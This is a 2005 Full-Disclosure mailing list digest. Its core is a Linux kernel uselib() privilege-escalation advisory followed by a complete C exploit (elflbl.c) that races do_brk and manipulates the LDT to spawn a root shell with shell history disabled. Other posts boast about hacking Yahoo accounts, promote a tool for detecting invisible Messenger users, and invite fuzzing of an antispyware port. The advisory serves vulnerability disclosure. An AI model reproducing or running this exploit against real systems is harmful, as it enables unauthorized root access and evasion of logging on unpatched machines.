[Full-Disclosure] Yahoo security and privacy In-Reply-To: References: Message-ID: <4b6ee931050107074214fc162f@mail.gmail.com> On Tue, 04 Jan 2005 14:18:49 +0200, Alex V. Lukyanenko wrote: > > Quoting n3td3v, > > Because we all know Yahoo! has no account security, so kids aged 15 > > can hack an account. Yahoo! is like hacking for beginners. Its easy to > > do, and therefore a great network to learn skills.. bravo Yahoo!, you > > have a use after all. > Hm, hm. Yahoo's rudimentary security 'features' such as account > lockout policy (12 hours after several failed login attempts) is most > often used as a DoS against that account owner. > Plus numerous "booters" exploiting holes (read: buffer overflows) in > ypager.exe, and you have a perfect way to kick someone out from chat > and not let him/her/it return. > They (at Yahoo) try to make it harder to write your own chat > client/bot/messanger by slightly changing their CRAM (and still, it > was reversed, nevermind that it nowadays consist of several MD5-like > routines and is heavily obfuscated against casual reverse-engineers > :P) > > Couldn't hold myself, this is FD after all :) > > -- > Alex V. Lukyanenko | 86195208 at icq | y_avenger_y at ua.fm > ---- > http://cards.alkar.net/ > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > Thats the least of it. Yahoo! Messenger has no privacy. You can detect people who are invisible easily. A friend has developed a good open source project at buddy-spy.com You might want to check that out. Yahoo! Messenger team are scrambling to build a brand new robust and secure protocol for 2005, to particularly stop kids and vulnerable females from getting unwanted attention through the fundamental privacy flaws in the protocol my friend has been able to use to develop buddy-spy. If you're worried about your kids saftey on Yahoo! messenger, don't use it. At least until privacy flaws have been fixed. I could continue the list of Yahoo! glitches and flaws, but i'll leave it at the lack of privacy on Yahoo! Messenger for now. n3td3v, the greatest! Yahoo sec admins are no use. From ihaquer at isec.pl Fri Jan 7 12:17:30 2005 From: ihaquer at isec.pl (Paul Starzetz) Date: Fri, 7 Jan 2005 13:17:30 +0100 (CET) Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected Message-ID: Hi all, first of all I must comply about the handling of this vulnerability that I reported to vendorsec. Obviously my code posted there has been stolen and plagiated in order to put the blame on Stefan Esser from Ematters and disturb the security community. I really apologize to Stefan Esser for the inconvenience and thank him for his cool reaction - the plagiate worked. --------------------------------------------------------------------------- Synopsis: Linux kernel uselib() privilege elevation Product: Linux kernel Version: 2.4 up to and including 2.4.29-rc2, 2.6 up to and including 2.6.10 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0021-uselib.txt CVE: CAN-2004-1235 Author: Paul Starzetz Date: Jan 07, 2005 Issue: ====== Locally exploitable flaws have been found in the Linux binary format loaders' uselib() functions that allow local users to gain root privileges. Details: ======== The Linux kernel provides a binary format loader layer to load (execute) programs of different binary formats like ELF or a.out and more. The kernel also provides a function named sys_uselib() to load a corresponding library. This function is dispatched to the current process's binary format handler and is basicaly a simplified mmap() code coupled with some header parsing code. An analyse of the uselib function load_elf_library() from binfmt_elf.c revealed a flaw in the handling of the library's brk segment (VMA). That segment is created with the current->mm->mmap_sem semaphore NOT held while modyfying the memory layout of the calling process. This can be used to disturb the memory management and gain elevated privileges. Also the binfmt_aout binary format loader code is affected in the same way. Discussion: ============= The vulnerable code resides for example in fs/binfmt_elf.c in your kernel source code tree: static int load_elf_library(struct file *file) { [904] down_write(¤t->mm->mmap_sem); error = do_mmap(file, ELF_PAGESTART(elf_phdata->p_vaddr), (elf_phdata->p_filesz + ELF_PAGEOFFSET(elf_phdata->p_vaddr)), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE, (elf_phdata->p_offset - ELF_PAGEOFFSET(elf_phdata->p_vaddr))); up_write(¤t->mm->mmap_sem); if (error != ELF_PAGESTART(elf_phdata->p_vaddr)) goto out_free_ph; elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz; padzero(elf_bss); len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1); bss = elf_phdata->p_memsz + elf_phdata->p_vaddr; if (bss > len) do_brk(len, bss - len); The line numbers are all valid for the 2.4.28 kernel version. As can be seen the mmap_sem is released prior to calling do_brk() in order to create the data section of the ELF library. On the other hand, looking into the code of sys_brk() from mm/mmap.c reveals that do_brk() must be called with the semaphore held. A short look into the code of do_brk() shows that: [1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL); if (!vma) return -ENOMEM; vma->vm_mm = mm; vma->vm_start = addr; vma->vm_end = addr + len; vma->vm_flags = flags; vma->vm_page_prot = protection_map[flags & 0x0f]; vma->vm_ops = NULL; vma->vm_pgoff = 0; vma->vm_file = NULL; vma->vm_private_data = NULL; vma_link(mm, vma, prev, rb_link, rb_parent); where rb_link and rb_parent were both found by calling find_vma_prepare(). Obviously, if the kmem_cache_alloc() call sleeps, the newly created VMA descriptor may be inserted at wrong position because the process's VMA list and the VMA RB-tree may have been changed by another thread. This is absolutely enough to gain root privileges. We have found at least three different ways to exploit this vulnerability. The race condition can be easily won by consuming a big amount of memory. A proof of concept code exists but will not be released yet. Impact: ======= Unprivileged local users can gain elevated (root) privileges. Credits: ======== Paul Starzetz has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS. Disclaimer: =========== This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied. The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. Appendix: ========= Code attached. ------------------------------------------------------------------------ -- Paul Starzetz iSEC Security Research http://isec.pl/ -------------- next part -------------- /* * binfmt_elf uselib VMA insert race vulnerability * v1.08 * * gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define str(s) #s #define xstr(s) str(s) #define MREMAP_MAYMOVE 1 // temp lib location #define LIBNAME "/dev/shm/_elf_lib" // shell name #define SHELL "/bin/bash" // time delta to detect race #define RACEDELTA 5000 // if you have more deadbabes in memory, change this #define MAGIC 0xdeadbabe // do not touch #define SLAB_THRSH 128 #define SLAB_PER_CHLD (INT_MAX - 1) #define LIB_SIZE ( PAGE_SIZE * 4 ) #define STACK_SIZE ( PAGE_SIZE * 4 ) #define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE ) #define ENTRY_GATE ( LDT_ENTRIES-1 ) #define SEL_GATE ( (ENTRY_GATE<<3)|0x07 ) #define ENTRY_LCS ( ENTRY_GATE-2 ) #define SEL_LCS ( (ENTRY_LCS<<3)|0x04 ) #define ENTRY_LDS ( ENTRY_GATE-1 ) #define SEL_LDS ( (ENTRY_LDS<<3)|0x04 ) #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define TMPLEN 256 #define PGD_SIZE ( PAGE_SIZE*1024 ) extern char **environ; static char cstack[STACK_SIZE]; static char name[TMPLEN]; static char line[TMPLEN]; static volatile int val = 0, go = 0, finish = 0, scnt = 0, ccnt=0, delta = 0, delta_max = RACEDELTA, map_flags = PROT_WRITE|PROT_READ; static int fstop=0, silent=0, pidx, pnum=0, smp_max=0, smp, wtime=2, cpid, uid, task_size, old_esp, lib_addr, map_count=0, map_base=0, map_addr, addr_min, addr_max, vma_start, vma_end, max_page; static struct timeval tm1, tm2; static char *myenv[] = {"TERM=vt100", "HISTFILE=/dev/null", NULL}; static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70" "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00"; static char *pagemap, *libname=LIBNAME, *shellname=SHELL; #define __NR_sys_gettimeofday __NR_gettimeofday #define __NR_sys_sched_yield __NR_sched_yield #define __NR_sys_madvise __NR_madvise #define __NR_sys_uselib __NR_uselib #define __NR_sys_mmap2 __NR_mmap2 #define __NR_sys_munmap __NR_munmap #define __NR_sys_mprotect __NR_mprotect #define __NR_sys_mremap __NR_mremap inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f); inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e); inline _syscall3(int, sys_madvise, void*, a, int, b, int, c); inline _syscall3(int, sys_mprotect, int, a, int, b, int, c); inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount ); inline _syscall2(int, sys_gettimeofday, void*, a, void*, b); inline _syscall2(int, sys_munmap, int, a, int, b); inline _syscall1(int, sys_uselib, char*, l); inline _syscall0(void, sys_sched_yield); inline int tmdiff(struct timeval *t1, struct timeval *t2) { int r; r=t2->tv_sec - t1->tv_sec; r*=1000000; r+=t2->tv_usec - t1->tv_usec; return r; } void fatal(const char *message, int critical) { int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL); if(!errno) { fprintf(stdout, "\n[-] FAILED: %s ", message); } else { fprintf(stdout, "\n[-] FAILED: %s (%s) ", message, (char*) (strerror(errno)) ); } if(critical) printf("\nCRITICAL, entering endless loop"); printf("\n"); fflush(stdout); unlink(libname); kill(cpid, SIGKILL); for(;;) kill(0, sig); } // try to race do_brk sleeping on kmalloc, may need modification for SMP int raceme(void* v) { finish=1; for(;;) { errno = 0; // check if raced: recheck: if(!go) sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if(!smp_max && delta < (unsigned)delta_max) goto recheck; smp = smp_max; // check if lib VMAs exist as expected under race condition recheck2: val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL); if(val) continue; errno = 0; val = sys_madvise((void*) (lib_addr+PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if( !val || (val<0 && errno!=ENOMEM) ) continue; // SMP? smp--; if(smp>=0) goto recheck2; // recheck race if(!go) continue; finish++; // we need to free one vm_area_struct for mmap to work val = sys_mprotect(map_addr, PAGE_SIZE, map_flags); if(val) fatal("mprotect", 0); val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(-1==val) fatal("mmap2 race", 0); printf("\n[+] race won maps=%d", map_count); fflush(stdout); _exit(0); } return 0; } int callme_1() { return val++; } inline int valid_ptr(unsigned ptr) { return ptr>=task_size && ptr> 16; l.limit = MAGIC & 0xffff; l.limit_in_pages = 1; if( modify_ldt(1, &l, sizeof(l)) != 0 ) fatal("modify_ldt", 1); pidx = max_page-1; } else if(pnum==3) { npg=0; for(pidx=0; pidx<=max_page-1; pidx++) { if(pagemap[pidx]) { npg++; fflush(stdout); } else if(npg == LDT_PAGES) { npg=0; try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); } else { npg=0; } } fatal("find LDT", 1); } // save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; scan_mm(); } // return number of available SLAB objects in cache int get_slab_objs(const char *sn) { static int c, d, u = 0, a = 0; FILE *fp=NULL; fp = fopen("/proc/slabinfo", "r"); if(!fp) fatal("get_slab_objs: fopen", 0); fgets(name, sizeof(name) - 1, fp); do { c = u = a = -1; if (!fgets(line, sizeof(line) - 1, fp)) break; c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d); } while (strcmp(name, sn)); close(fileno(fp)); fclose(fp); return c == 7 ? a - u : -1; } // leave one object in the SLAB inline void prepare_slab() { int *r; map_addr -= PAGE_SIZE; map_count++; map_flags ^= PROT_READ; r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED == r) { fatal("try again", 0); } *r = map_addr; } // sig handlers void segvcnt(int v) { scnt++; scan_mm_finish(); } // child reap void reaper(int v) { ccnt++; waitpid(0, &v, WNOHANG|WUNTRACED); } // sometimes I get the VMAs in reversed order... // so just use anyone of the two but take care about the flags void check_vma_flags(); void vreversed(int v) { map_flags = 0; check_vma_flags(); } void check_vma_flags() { if(map_flags) { __asm__("movl %%esp, %0" : :"m"(old_esp) ); } else { __asm__("movl %0, %%esp" : :"m"(old_esp) ); goto out; } signal(SIGSEGV, vreversed); val = * (unsigned*)(lib_addr + PAGE_SIZE); out: } // use elf library and try to sleep on kmalloc void exploitme() { int r, sz, pcnt=0; static char smiley[]="-\\|/-\\|/"; // printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout); // helper clone finish=0; ccnt=0; sz = sizeof(cstack) / sizeof(cstack[0]); cpid = clone(&raceme, (void*) &cstack[sz-16], CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL ); if(-1==cpid) fatal("clone", 0); // synchronize threads while(!finish) sys_sched_yield(); finish=0; if(!silent) { printf("\n"); fflush(stdout); } // try to hit the kmalloc race for(;;) { r = get_slab_objs("vm_area_struct"); while(r != 1) { prepare_slab(); r--; } sys_gettimeofday(&tm1, NULL); go = 1; r=sys_uselib(libname); go = 0; if(r) fatal("uselib", 0); if(finish) break; // wipe lib VMAs and try again r = sys_munmap(lib_addr, LIB_SIZE); if(r) fatal("munmap lib", 0); if(ccnt) goto failed; if( !silent && !(pcnt%64) ) { printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]); fflush(stdout); } pcnt++; } // seems we raced, free mem r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE); if(r) fatal("munmap 1", 0); r = sys_munmap(lib_addr, PAGE_SIZE); if(r) fatal("munmap 2", 0); // relax kswapd sys_gettimeofday(&tm1, NULL); for(;;) { sys_sched_yield(); sys_gettimeofday(&tm2, NULL); delta = tmdiff(&tm1, &tm2); if( wtime*1000000U <= (unsigned)delta ) break; } // we need to check the PROT_EXEC flag map_flags = PROT_EXEC; check_vma_flags(); if(!map_flags) { printf("\n VMAs reversed"); fflush(stdout); } // write protect brk's VMA to fool vm_enough_memory() r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, PROT_READ|map_flags); if(-1==r) { fatal("mprotect brk", 0); } // this will finally make the big VMA... sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE; expand: r = sys_madvise((void*)(lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE, MADV_NORMAL); if(r) fatal("madvise", 0); r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE, PAGE_SIZE, sz, MREMAP_MAYMOVE, 0); if(-1==r) { if(0==sz) { fatal("mremap: expand VMA", 0); } else { sz -= PAGE_SIZE; goto expand; } } vma_start = lib_addr + PAGE_SIZE; vma_end = vma_start + sz + 2*PAGE_SIZE; printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end); fflush(stdout); // try to figure kernel layout signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt); scan_mm_start(); failed: fatal("try again", 0); } // make fake ELF library void make_lib() { struct elfhdr eh; struct elf_phdr eph; static char tmpbuf[PAGE_SIZE]; int fd; // make our elf library umask(022); unlink(libname); fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755); if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0); memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 1; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header: memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = lib_addr; eph.p_memsz = LIB_SIZE; eph.p_flags = PF_W|PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // execable code lseek(fd, 4096, SEEK_SET); memset(tmpbuf, 0x90, sizeof(tmpbuf) ); write(fd, &tmpbuf, sizeof(tmpbuf) ); close(fd); } // move stack down #2 void prepare_finish() { int r; static struct sysinfo si; old_esp &= ~(PAGE_SIZE-1); old_esp -= PAGE_SIZE; task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB; r = sys_munmap(old_esp, task_size-old_esp); if(r) fatal("unmap stack", 0); // setup rt env uid = getuid(); lib_addr = task_size - LIB_SIZE - PAGE_SIZE; if(map_base) map_addr = map_base; else map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1); printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x", old_esp, task_size, map_base); fflush(stdout); // check physical mem & prepare sysinfo(&si); addr_min = task_size + si.totalram; addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1); addr_max = addr_min + si.totalram; if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min) addr_max = 0xffffd000; printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max); max_page = (addr_max - addr_min) / PAGE_SIZE; pagemap = malloc( max_page + 32 ); if(!pagemap) fatal("malloc pagemap", 1); memset(pagemap, 0, max_page + 32); // go go make_lib(); exploitme(); } // move stack down #1 void prepare() { unsigned p=0; environ = myenv; p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 ); if(-1==p) fatal("mmap2 stack", 0); p += STACK_SIZE - 64; __asm__("movl %%esp, %0 \n" "movl %1, %%esp \n" : : "m"(old_esp), "m"(p) ); prepare_finish(); } void chldcnt(int v) { ccnt++; } // alloc slab objects... inline void do_wipe() { int *r, c=0, left=0; __asm__("movl %%esp, %0" : : "m"(old_esp) ); old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1); old_esp = map_base? map_base : old_esp; for(;;) { if(left<=0) left = get_slab_objs("vm_area_struct"); if(left <= SLAB_THRSH) break; left--; map_flags ^= PROT_READ; old_esp -= PAGE_SIZE; r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 ); if(MAP_FAILED == r) break; if(c>SLAB_PER_CHLD) break; if( (c%1024)==0 ) { if(!c) printf("\n"); printf("\r child %d VMAs %d", val, c); fflush(stdout); } c++; } printf("\r child %d VMAs %d", val, c); fflush(stdout); kill(getppid(), SIGUSR1); for(;;) pause(); } // empty SLAB caches void wipe_slab() { signal(SIGUSR1, chldcnt); printf("\n[+] SLAB cleanup"); fflush(stdout); for(;;) { ccnt=0; val++; cpid = fork(); if(!cpid) do_wipe(); while(!ccnt) sys_sched_yield(); if( get_slab_objs("vm_area_struct") <= SLAB_THRSH ) break; } signal(SIGUSR1, SIG_DFL); } void usage(char *n) { printf("\nUsage: %s\t-f forced stop\n", n); printf("\t\t-s silent mode\n"); printf("\t\t-c command to run\n"); printf("\t\t-n SMP iterations\n"); printf("\t\t-d race delta us\n"); printf("\t\t-w wait time seconds\n"); printf("\t\t-l alternate lib name\n"); printf("\t\t-a alternate addr hex\n"); printf("\n"); _exit(1); } // give -s for forced stop, -b to clean SLAB int main(int ac, char **av) { int r; while(ac) { r = getopt(ac, av, "n:l:a:w:c:d:fsh"); if(r<0) break; switch(r) { case 'f' : fstop = 1; break; case 's' : silent = 1; break; case 'n' : smp_max = atoi(optarg); break; case 'd': if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u ) fatal("bad delta value", 0); break; case 'w' : wtime = atoi(optarg); if(wtime<0) fatal("bad wait value", 0); break; case 'l' : libname = strdup(optarg); break; case 'c' : shellname = strdup(optarg); break; case 'a' : if(1!=sscanf(optarg, "%x", &map_base)) fatal("bad addr value", 0); map_base &= ~(PGD_SIZE-1); break; case 'h' : default: usage(av[0]); break; } } // basic setup uid = getuid(); setpgrp(); wipe_slab(); prepare(); return 0; } From kf_lists at digitalmunition.com Fri Jan 7 15:50:14 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Fri, 07 Jan 2005 10:50:14 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com> References: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com> Message-ID: <41DEAFB6.3000506@digitalmunition.com> I love how the icon for this product is a big Target. Very appropreate. Anyone wanna takes bets on how long it takes for someone to find a hole in the Spynet p2p functions of this beast, what port is that listening on again? *grin* -KF James Patterson Wicks wrote: > We knew that Microsoft was going to put out an anti-spyware product > after they bought Giant in December, but I did not figure they could > re-brand Giant?s software in under a month. Their first shot at > anti-spyware came out today ? Microsoft AntiSpyware (Beta). I > installed it on a test machine that I have in the office. Just to be > safe, I ran a full Spybot S&D scan and then uninstalled the resident > TEA program since Microsoft AntiSpyware will install an agent if you > so wish. The only part of the installation that was strange was the > ?recommended? option of joining the ?Spynet AntiSpyware Community? > their ?Spyware Neighborhood Watch? that connects you to other > computers running the Microsoft AntiSpyware software. Don?t know how > many people will choose that option, but to me it does not make sense > to connect to a peer-to-peer network of infected computers, encrypted > traffic or not. > > I ran a full system scan and to my surprise, the software found some > old Timbuktu and Dameware DLL?s that I thought were uninstalled a year > ago. Were the files harmful? The tool stated that the Dameware files > were low risk, but the Timbuktu files were high risk. The tool also > found ?iLookup.GlobalWebSearch Browser Hijacker?, ?StartNow Hyperbar > Toolbar? and a bunch of ?MiniBug? instances. I was somewhat surprised > since my machine was ?clean? already. I then set up two lab desktops > and applied the same clean image on both of them (no anti-virus or > firewall installed). I then used IE to surf to the first ten sites > Google brought up when searching for ?online gambling? sites. I then > ran full system scans using Microsoft AntiSpyware on one desktop and > Spybot S&D on the other machine. Spybot found 65 objects, the > Microsoft tool found 92 objects. The results were similar except that > the Microsoft tool found a few more cookies, a bunch of minibugs and > something called ?SearchSquire.? > > While this was just a quick test to satisfy my curiosity about the > Microsoft tool, my initial feeling is that the Microsoft AntiSpyware > is worth a test deployment in the office. This beta expires in July. > Hopefully the final version will be free and allow for centralized > domain management. It?s the least that Microsoft can do. > > Pat Wicks > > Systems and Network Engineer > From thierry.haven at xmcopartners.com Fri Jan 7 11:58:48 2005 From: thierry.haven at xmcopartners.com (Thierry Haven) Date: Fri, 07 Jan 2005 12:58:48 +0100 Subject: [Full-Disclosure] Undocumented sun classes Message-ID: <41DE7978.5040102@xmcopartners.com> Hi list; Sun's website states that the sun.* packages are not part of the supported, public interface... (http://java.sun.com/products/jdk/faq/faq-sun-packages.html)... However, i'm looking for security related information about those "undocumented" sun.* classes. Does anyone have an idea ? Thanks for your time ! _______________________________________ Thierry Haven - Xmco Partners Security Consulting / Pentest web : http://www.xmcopartners.com From kf_lists at digitalmunition.com Fri Jan 7 16:19:56 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Fri, 07 Jan 2005 11:19:56 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: <41DEAFB6.3000506@digitalmunition.com> References: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com> <41DEAFB6.3000506@digitalmunition.com> Message-ID: <41DEB6AC.5090405@digitalmunition.com> Do a software update check with this thing and you get GIANTAntiSpywareMain.exe listening on port 2571 until the software is closed. Feel free to beat on and fuzz that port fellas. =] -KF KF (lists) wrote: > I love how the icon for this product is a big Target. Very > appropreate. Anyone wanna takes bets on how long it takes for someone > to find a hole in the Spynet p2p functions of this beast, what port is > that listening on again? > *grin* > -KF > > James Patterson Wicks wrote: > >> We knew that Microsoft was going to put out an anti-spyware product >> after they bought Giant in December, but I did not figure they could >> re-brand Giant?s software in under a month. Their first shot at >> anti-spyware came out today ? Microsoft AntiSpyware (Beta). I >> installed it on a test machine that I have in the office. Just to be >> safe, I ran a full Spybot S&D scan and then uninstalled the resident >> TEA program since Microsoft AntiSpyware will install an agent if you >> so wish. The only part of the installation that was strange was the >> ?recommended? option of joining the ?Spynet AntiSpyware Community? >> their ?Spyware Neighborhood Watch? that connects you to other >> computers running the Microsoft AntiSpyware software. Don?t know how >> many people will choose that option, but to me it does not make sense >> to connect to a peer-to-peer network of infected computers, encrypted >> traffic or not. >> >> I ran a full system scan and to my surprise, the software found some >> old Timbuktu and Dameware DLL?s that I thought were uninstalled a >> year ago. Were the files harmful? The tool stated that the Dameware >> files were low risk, but the Timbuktu files were high risk. The tool >> also found ?iLookup.GlobalWebSearch Browser Hijacker?, ?StartNow >> Hyperbar Toolbar? and a bunch of ?MiniBug? instances. I was somewhat >> surprised since my machine was ?clean? already. I then set up two lab >> desktops and applied the same clean image on both of them (no >> anti-virus or firewall installed). I then used IE to surf to the >> first ten sites Google brought up when searching for ?online >> gambling? sites. I then ran full system scans using Microsoft >> AntiSpyware on one desktop and Spybot S&D on the other machine. >> Spybot found 65 objects, the Microsoft tool found 92 objects. The >> results were similar except that the Microsoft tool found a few more >> cookies, a bunch of minibugs and something called ?SearchSquire.? >> >> While this was just a quick test to satisfy my curiosity about the >> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware >> is worth a test deployment in the office. This beta expires in July. >> Hopefully the final version will be free and allow for centralized >> domain management. It?s the least that Microsoft can do. >> >> Pat Wicks >> >> Systems and Network Engineer >> > > From shadown at gmail.com Fri Jan 7 16:30:21 2005 From: shadown at gmail.com (shadown) Date: Fri, 7 Jan 2005 13:30:21 -0300 Subject: [Full-Disclosure] ndisasm bad opcodes interpretation Message-ID: Hi, not a vulnerability but could be a headache while reverse ingineering or binary auditing/interpreting, etc. (ok anything related with disassembling) get wrong values. shadown at twister:/tmp$ ndisasm -b32 salida 00000000 49 dec ecx 00000001 6E outsb 00000002 7465 jz 0x69 00000004 6C insb 00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si 0000000A 6C insb 0000000B 207072 and [eax+0x72],dh 0000000E 6F outsd 0000000F 7065 jo 0x76 00000011 7274 jc 0x87 00000013 7920 jns 0x35 00000015 6F outsd 00000016 66204968 o16 and [ecx+0x68],cl 0000001A 61 popa 0000001B 51 push ecx 0000001C 7565 jnz 0x83 0000001E 52 push edx 0000001F 00 db 0x00 shadown at twister:/tmp$ ndisasm -V NDISASM version 0.98.38 compiled Jan 7 2005 shadown at twister:/tmp$ i.e: 0000001C 7565 jnz 0x83 sould had been jnz 0x65 I've just tested ndisasm 0.98.36 and 0.98.38 cheers. shadown -- Sergio Alvarez Security, Research & Development IT Security Consultant email: shadown at gmail.com This message is confidential. It may also contain information that is privileged or otherwise legally exempt from disclosure. If you have received it by mistake please let us know by e-mail immediately and delete it from your system; should also not copy the message nor disclose its contents to anyone. Many thanks. From synackrst at gmail.com Fri Jan 7 17:27:29 2005 From: synackrst at gmail.com (synackrst) Date: Fri, 7 Jan 2005 11:27:29 -0600 Subject: [Full-Disclosure] Press Release Survivor Location Assistance Project Message-ID: <714b796305010709276beba0b8@mail.gmail.com> FOR IMMEDIATE RELEASE CONTACT: North America: B.K. DeLong Media Liaison The Hacker Foundation telephone: +1.617.797.2472 Christian Wright Media Liaison Packetstorm Security telephone: +1.312.399.5064 Europe: Emerson Tan Director Packetstorm Security telephone: +44.781.456.8265 e-mail: press at survivorlocationassistance.org THE HACKER FOUNDATION RELEASES SURVIVOR LOCATION ASSISTANCE PROJECT Organization distributes software as open-source and centralizes tracking of disaster victims. http://www.survivorlocationassistance.org -- 6 January 2005 -- The Hacker Foundation (THF) is pleased to announce the creation of the Survivor Location Assistance (SLA) project, a globally accessible web-based database system designed to help survivors, relatives, internally displaced people, and aid agencies connect with one another and to facilitate & coordinate the need to track all victims of disasters around the world. SLA's first application is now live and awaiting new entries - South Asian Tsunami - Survivor Location Assistance (SAT-SLA). The system is running on hardware donated by Packetstorm Security and on network connectivity provided by Asylum Networks Inc. The SLA project encourages the myriad of web sites and organizations currently maintaining lists of survivors, Internally Displaced People & the missing to contribute their dataset to the SAT-SLA database. Hospitals, aid agencies, & NGOs are also encouraged to share their registration information to ensure relatives of survivors are notified in a fast & timely manner that their loved ones are safe & alive. "The SLA project is why The Hacker Foundation was created," said THF President and Co-founder Jesse Krembs. "to bring useful technological resources to people in need. Our staff of volunteers has done an amazing job putting together a tool in such a short amount of time that can not only be used in this crisis, but hopefully for any humanitarian need." On the SLA Web site, users can add a new entry with identifying information about a person, or search the database to see if their relative has been located. By the end of 1Q 2005, THF and the SLA project hope to publicly release the source code for the system and begin fostering a development community around the open source solution. Those interested in making use of software more immediately can email the project at support at survivorlocationassistance.org . The SLA web site is located at http://www.survivorlocationassistance.org . "THF is releasing the SLA backend to anyone who requests it & opening our survivor data to the public," said Emerson Tan, Director of Packetstorm Security. "As more of the world gets connected via the Internet, we believe the SLA project has global potential to be used in tracking IDPs, thwarting the child slavetrading of orphans from such disasters, and assisting aid agencies & NGOs responding to humanitarian efforts similar to those in the Darfur region of Sudan." The SLA project is also seeking translation assistance for its web site, database and other resources to ensure global access and usability. "The world has many different languages," said THF's Krembs. "and disasters do not discriminate. We hope, with volunteer help, to be able to offer our information in Thai, Sinhala and other native tongues of those effected by the tsunami." About The Hacker Foundation The Hacker Foundation (THF) is a non-profit organization dedicated to establishing and maintaining a research & service organization to promote & explore the creative use of technological resources. Visit the Hacker Foundation web site at http://www.hackerfoundation.org. About Packetstorm Security Packetstorm Security is the world's largest free repository of 